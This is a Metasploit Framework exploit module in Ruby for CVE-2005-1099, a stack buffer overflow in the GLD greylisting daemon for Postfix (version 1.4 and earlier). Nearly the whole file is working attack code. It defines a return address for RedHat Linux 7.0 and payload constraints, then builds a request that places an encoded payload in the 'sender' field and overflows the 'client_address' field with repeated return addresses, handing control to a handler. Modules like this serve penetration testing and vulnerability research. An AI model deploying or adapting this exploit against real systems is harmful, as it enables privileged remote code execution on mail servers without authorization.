##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Salim Gasmi
GLD <= 1.4 greylisting daemon for Postfix. By sending an
overly long string the stack can be overwritten.
},
'Version' => '$Revision$',
'Author' => [ 'patrick' ],
'Arch' => ARCH_X86,
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2005-1099' ],
[ 'OSVDB', '15492' ],
[ 'BID', '13129' ],
[ 'URL', 'http://www.milw0rm.com/exploits/934' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20=",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(2525)
],
self.class
)
end
def exploit
connect
sploit = "sender="+ payload.encoded + "\r\n"
sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"
sock.put(sploit)
handler
disconnect
end
end